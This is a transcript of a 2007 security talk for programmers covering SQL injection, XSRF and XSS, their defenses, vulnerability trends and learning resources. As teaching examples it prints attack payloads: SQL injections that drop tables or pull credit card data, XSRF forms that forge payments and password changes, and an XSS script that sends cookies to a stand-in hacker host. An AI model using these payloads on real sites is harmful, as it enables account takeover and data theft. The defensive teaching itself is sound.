Document

Download Report

Transcript Document 

“What Every Programmer
Needs To Know About
Security and Where
To Learn It”
Neil Daswani
October 2007
http://www.neildaswani.com/
Is the sky falling?
• TJX (March 2007)
– owns TJ Maxx, Marshalls, and other dept stores
– attacks exploited WEP used at branches
– over 47 million credit card (CC) #s dating back to 2002
• CardSystems (June 2005)
– credit card payment processing company: out of business
– 263,000 CC #s stolen from database via SQL Injection
– 43 million CC #s stored unencrypted / compromised
• Enter “sql injection” on news.google.com for more...
• Additional Data Theft:
www.privacyrights.org/ar/ChronDataBreaches.htm
(153M compromised records; over 300 incidents in 2006 alone)
Overview
• High-Impact Threats & Defenses:
SQL Injection and XSRF
(Do not try these attacks on real sites!)
• Vulnerability Trends
• Where To Learn More:
Courses/Certifications, Books, Websites
SQL Injection Example
Web
Browser
Web
Server
Username &
Password
Database
Normal Query
SELECT passwd
FROM USERS
WHERE uname
IS ‘$username’
SQL Injection Example
Attacker Provides This Input
SQL Injection Example
Web
Browser
Web
Server
Username &
Password
Database
Malicious Query
SELECT passwd
FROM USERS
WHERE uname
IS ‘’; DROP TABLE
USERS; -- '
Eliminates all
user accounts
http://xkcd.com/327/
SQL Injection Example
View pizza order history:<br>
<form method="post" action="...">
Month
<select>
<option name="month" value="1">
Jan</option>
...
<option name="month" value="12">
Dec</option>
</select>
<p>
<input type=submit name=submit
value=View>
</form>
SQL Injection Example
Normal
SQL
Query
Type 2
Attack
SELECT pizza, toppings, quantity,
order_day
FROM orders
WHERE userid=4123
AND order_month=10
For order_month parameter, attacker could
input
0 OR 1=1
<option name="month" value=“0
Dec</option>
Malicious
Query
WHERE condition
is always true!
OR
1=1">access
Gives attacker
to other users’
private data!
…
WHERE userid=4123
AND order_month=0 OR 1=1
SQL Injection Example
All User Data
Compromised
SQL Injection Example
A more damaging breach of user
privacy:
For order_month parameter, attacker could input:
0 AND 1=0
UNION SELECT cardholder, number,
exp_month, exp_year
FROM
creditcards
Attacker is able to
– Combine the results of two queries
– Empty table from first query with the sensitive credit card
info of all users from second query
SQL Injection Example
Credit Card Info
Compromised
Preventing SQL Injection
• Whitelisting
– Why? Blacklisting chars doesn’t work:
• Forget to filter out some characters
• Could prevent valid input (e.g. username O’Brien)
– Allow well-defined set of safe values:
[A-Za-z0-9]*
[0-1][0-9]
– Valid input set defined through reg. expressions
– Can be implemented in a web application firewall
(e.g., mod_security)
• Escaping
– For valid string inputs like username o’connor,
use escape characters. Ex: escape(o’connor) = o’’connor
(only works for string inputs)
Prepared Statements
& Bind Variables
PreparedStatement ps =
db.prepareStatement(
"SELECT pizza, toppings,
Bind Variables:
quantity, order_day
Data Placeholders
FROM
orders
WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(
request.getParameter("month")));
ResultSet res = ps.executeQuery();
• query parsed w/o parameters
• bind variables are typed e.g. int, string, etc…*
Additional Mitigations
What else helps?
• Limit Privileges (Defense-in-Depth)
• Harden DB Server and Host OS
What else do I need to learn about SQL
Injection?
• Second Order SQL Injection
• Blind SQL Injection
Threats
• Unvalidated Input
– SQL Injection
– Cross-Site-Scripting (XSS)
• Design Errors
– Cross-Site-Request-Forgery (XSRF)
• Boundary Conditions
• Exception Handling
• Access Validation
Cross-Site-Request
Forgery (XSRF)
Alice is using our (“good”) webapplication:
www.bank.com
(assume user is logged in w/ cookie)
At the same time (i.e. same browser
session), she’s also visiting a
“malicious” web-application:
www.evil.org
How XSRF Works
Alice
/login.html
/auth
uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de
/viewbalance
Cookie: sessionid=40a4c04de
“Your balance is $25,000”
bank.com
How XSRF Works
Alice
/login.html
bank.com evil.org
/auth
uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de
/evil.html
<IMG SRC=http://bank.com/paybill?
addr=123 evil st & amt=$10000>
/paybill?addr=123 evil st, amt=$10000
Cookie: sessionid=40a4c04de
“OK. Payment Sent!”
XSRF: Write-only
Malicious site can’t read info (due to same-origin
policy), but can make write requests to our app!
Can still cause damage
– in Alice’s case, attacker gained control of her
account with full read/write access!
Who should worry about XSRF?
– apps w/ user info, profiles (e.g., Facebook)
– apps that do financial transactions for users
– any app that stores user data
Yet Another XSRF:
Home Routers [SRJ’07]
• Fact: 50% of home users use a broadband router with a
default or no password
• Drive-by Pharming attack: User visits malicious site
– JavaScript at site scans home network looking for
broadband router:
• Same-Origin-Policy allows “send only” messages
• Detect success using onerror:
•
<IMG SRC=192.168.0.1 onerror = do() >
– Once found, login to router and change DNS server
•Problem: “send-only” access is sufficient to
reprogram router
Preventing XSRF
• Inspecting Referer Headers
– specifies the document originating the
request
– ok, but not practical since it could be forged
or blanked (even by legitimate users)
• Web Application Firewall
– doesn’t work because request looks authentic to
bank.com
• Validation via User-Provided Secret
– ask for current password for important
transactions
• Validation via “Action Token”
– add special tokens to “genuine” forms to
distinguish them from “forged” forms
Vulernability Trends
(Overall/MITRE)
1300
XSS
Buffer Overflow
SQL Injection
PHP Include
DoS
1200
1100
1000
900
800
700
600
500
400
300
200
100
0
2001
2006
Overall Trends
• Attacks are increasing
• Big four are about the same
(regardless of vuln database):
– Cross-Site-Scripting (XSS, XSRF, XSSI)
– Injection (SQL, PHP-includes)
– Memory Corruption (buffer overflows,
integer overflows, format strings, etc)
– Denial-of-Service
What should I do?
•
•
•
•
Engineers
Developers
Programmers
Architects
1) Arm yourself!
2) Elect a security czar for each project
What Every Engineer
Needs To Know...
• Secure Design: least privilege, fail-safe
stance, weakest link, etc.
●
Technical Flaws:
●
Attacks:
–
XSS / XSRF / XSSI
–
Data Theft
–
Injection / Remote
Code Execution
–
Authentication /
Authorization Bypass
–
Directory Traversal
–
Denial-of-Service
–
Race Conditions (e.g.,
TOCTOU)
–
Privilege Escalation
–
Information Leakage
–
Memory Corruption
Where to learn more?
•
•
•
•
Courses
Certification Programs
Books
Websites
(not comprehensive)
Security Courses
• Cryptography Upper Division Courses
(at almost every major university)
• Some systems security courses
(e.g., CS155 @ Stanford,
CS161 @ UC Berkeley)
• More crypto and security courses listed at:
http://avirubin.com/courses.html
Stanford Advanced
Security Certificate
• Online (anytime) or On-Campus (one week)
• Required: 3 core courses; 3 electives
• Hands-on labs conducting attacks &
constructing defenses
• Security Foundations Certificate also
available
• http://proed.stanford.edu/?advancedsecurity
to sign up!
Stanford Advanced
Security Certificate
• CORE COURSES
– Using Cryptography Correctly
– Writing Secure Code
– Security Protocols
• ELECTIVES
– Computer Security Management – Recent Threats, Trends & the
Law
– Designing/Building Secure Networks
– Emerging Threats and Defenses
– Securing Web Applications
– Systems Security
• SPECIAL ELECTIVE
– Computer Security Foundations Certificate
Other Security
Certification Programs
• CISSP (offered by ISC2)
– prepares for administration / gov't jobs in security
– credential can be used for PCI compliance
– multiple-choice test
• GIAC Secure Software Programmer
(offered by SANS)
– secure programming assessment
– multiple choice (questions in development)
– new offering: first exam was Aug 2007
Books
• Foundations of Security:
What Every Programmer
Needs To Know
(Daswani / Kern / Kesavan)
• Security Engineering (Anderson)
• Building Secure Software
(Viega / McGraw)
• Secure Programming Cookbook
(Viega / Messier)
Websites
• OWASP / Top Ten
www.owasp.org
(chapters in almost every major city)
• Security Focus / Bugtraq
www.securityfocus.com
• code.google.com/edu
OWASP Top 10
2004
●
●
●
●
●
●
●
●
●
●
2007
• A1 Cross Site Scripting (XSS)
• A2 Injection Flaws (e.g., SQL
A2 Broken Access Control
injection)
A3 Broken Authentication / Session Mg
• A3 Malicious File Execution (i.e.,
A4 Cross Site Scripting
PHP)
A5 Buffer Overflow
• A4 Insecure Direct Object Reference
• A5 Cross Site Request Forgery
A6 Injection Flaws
(CSRF)
• A6 Information Leakage and Improper
A7 Improper Error Handling
Error Handling
A8 Insecure Storage
• A7 Broken Authentication / Session
A9 Application Denial of Service
Mgmt
A10 Insecure Configuration Management • A8 Insecure Cryptographic Storage
• A9 Insecure Communications
• A10 Failure to Restrict URL Access
A1 Unvalidated Input
Security Focus
• www.securityfocus.com / Home of Bugtraq
• Articles / Mailing Lists / Vuln. Reports
• Focus areas:
– Foundations
– Microsoft / Unix
– IDS
– Incident Response
– Viruses / Malware
– Penetration Testing
– Firewalls
code.google.com/edu:
Web Security
• Free & available for external use
• Ex. DoS against web server
To conclude...
• Every engineer should be a software security
practitioner
• We’re looking for some bright engineers!
(application security, botnets, etc.)
• Links / Pointers:
http://www.learnsecurity.com/
Click on “Resources”
• Neil Daswani
[email protected]
http://www.neildaswani.com
Backup Slides Follow
Last Remarks
• Interested in jobs?
(software security, botnets, ...)
• Items in the back:
– Free books
– Stanford Security Certification Brochures
– Need security help / consulting?
Cross-Site Scripting (XSS)
What if attacker can get a malicious script to be executed in
our application?
http://deliver-me-pizza.com/submit_order?
addr=123mainst
<input type=text name=addr value=123mainst>
Ex: our app could have a query parameter in the URL and
print it out on page
– Suppose input data is not filtered
– Attacker could inject a malicious script!
Other Sources of Untrusted Data
– HTML form fields
– URL path (e.g. in a Document Not Found error)
XSS Example
1. Attacker tricks Alice into visiting his page.
2. Page loads URL of query to our app with this parameter injected:
http://deliver-me-pizza.com/submit_order?addr=
%3D%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C
/script%3E%0A
printed on our HTML source
translates
<script>alert(document.cookie);</script>
3. Any arbitrary script attacker chooses, can be executed on our
application site!
How much damage can
the malicious script cause?
XSS Exploits
Stealing Cookies
– the malicious script could cause the browser to
send attacker all cookies for our app’s domain.
Ex:
"><script>i=new Image();
i.src='http://www.hacker.com/sendmail.php?
[email protected]&payload='+document.cookie;
</script>
– gives attacker full access to Alice’s session
Scripting the Vulnerable App
– complex script with specific goal
– e.g. get personal user info, transfer funds, etc…
– doesn’t have to make a direct attack, revealing
his IP address, harder to trace
Mitigating XSS
Input Validation
– XSS is not just a input validation problem
– strings with HTML metachars not a problem until they’re
displayed on the webpage
– might be valid elsewhere, e.g. in a database
Output Sanitization
– check strings as they’re inserted into HTML doc
HTML Escaping
– escape some chars with their literals
– e.g. & = &amp; < = &lt; > = &rt; “ = &quot;
HTTP-Only Cookies
– HTTPOnly attribute on cookie in IE prevents it from being
exposed to client-side scripts
– can prevent traditional session hijacking
– incomplete protection
Cross-Domain Security
Domain: where our applications and services are hosted
Same-Origin-Policy (SOP): script is only allowed to
connect back to the origin (domain,port,protocol) from
which it was served
Cross-domain: security threats due to interactions
between our applications and pages on other domains
Vulnerability Trends
(OS Vendors/MITRE)
220
200
180
160
140
120
100
Buffer Overflow
Symbolic Link
DoS
XSS
Integer Overflow
80
60
40
20
0
2001
2006
Vulnerabilities Stats
●
• Disclaimer on
Categorization
1st-half 2007
●
• Input Validation
1st-half 2007
1st-half 2006
1304
1294
• Design Errors
295
213
Exception Handling
1st-half 2007
1st-half 2006
●
1st-half 2007
1st-half 2006
Boundary Conditions
206
110
Access Validation
1st-half 2007
1st-half 2006
87
97
source: securityfocus vulnerability database
Recent Vulnerability Trends
1st-half 2006
1st-half 2007
500
450
400
Number of Reports
350
300
250
200
150
100
50
0
SQL Injection
Cross-Site
Scripting
Denial of
Service
Buffer Overflows
Vulnera
bility T
ype
source:
securityfocus
vulnerability database
Prepared Statements &
Bind Variables
Metacharacters (e.g. ‘) in queries provide distinction
between data & control
Most attacks: data interpreted as control /
alters the semantics of a query/cmd
Bind Variables: ? placeholders guaranteed to be data (not
control)
Prepared Statements allow creation of static queries with
bind variables → preserves the structure of intended
query
SQL Injection Trends
300
275
250
225
Number of reports
200
175
SQLInjection
150
125
100
75
50
25
0
1st-half 2004
1st-half 2005
1st-half 2006
1st-half 2007
Year
Source: securityfocus vulnerability database
More XSRF
Malicious site can initiate HTTP requests to our
app on Alice’s behalf, w/o her knowledge
– authentication cookies stored in browser
cache are sent to our server regardless of
who made the request
Another Example:
change password feature on our app
(“update_password”)
– Hacker site could execute a script to send a
fake password-change request
– authenticates b/c cookies are sent
More XSRF
1. Alice’s browser loads page from www.evil.org
2. Evil Script runs causing evilform to be submitted with a
password-change request to our “good” form:
www.bank.com/update_password with a
<input type="password" id="password"> field
evilform
<form method="POST" name="evilform“ target="hiddenframe"
action="https://www.bank.com/update_password">
<input type="hidden" id="password" value="evilhax0r">
</form>
<!– hiddenframe IFRAME here -->
<script>document.evilform.submit();</script>
3. Browser sends authentication cookies to our app. We’re hoodwinked into
thinking the request is from Alice. Her password is changed to evilhax0r!
Security Books
• Foundations of Security:
What Every Programmer
Needs To Know
• Daswani / Kern / Kesavan
• Topics:
– Secure design principles
– Web application
attacks & defenses
– Intro. to Cryptography
• Free slides @ www.learnsecurity.com
Security Books
• Security Engineering
• Ross Anderson
• Available online
(for free)
• http://www.cl.cam.ac.uk/~rja14/book.html
Security Books
• Building Secure Software
• Viega / McGraw
“Classic Text”
• Other books by
McGraw & Co:
- Exploiting Software
- Software Security
Security Books
• Secure Programming Cookbook
for C and C++
• Viega / Messier
• Lots of code examples
on how to use crypto
correctly
What should I do?
• Managers
(Project, Product, Directors, CIOs,
CTOs, etc)
1) Organize to achieve security
2) Modify dev lifecycle as necessary
3) Invest in security training
Organizing...
Authority
Gatekeepers
Satellites
Advisors
Centralization
Gatekeepers
• Centralized Security Department with Approval Authority
• Security Dept accountable for every line of deployed code,
and must provide explicit approval for every deployment.
• Pros:
– High level of accountability
– Tight control
• Cons:
–
–
–
–
Scalability
Could stifle innovation
Bottleneck
Development might become tight-lipped
(or work-around security)
Advisors
• Security Consulting Department with Escalation
Authority
• Security Department provides feedback to product
teams when requested, or can actively “probe”
• Pros
– More openness to share risks
• Cons
– Less accountability
– Frequent escalation will de-sensitize executives
Satellites
• Decentralized Security Staff / “Virtual” Department
• Put developers with security expertise on the
product teams. Rotate if necessary.
• Or, train one of the developers on each product
team to be “security czar.”
• Pros
– Security recommendations more likely to be
implemented
• Cons
– Less flexibility in moving security engineers to
most high risk projects fast.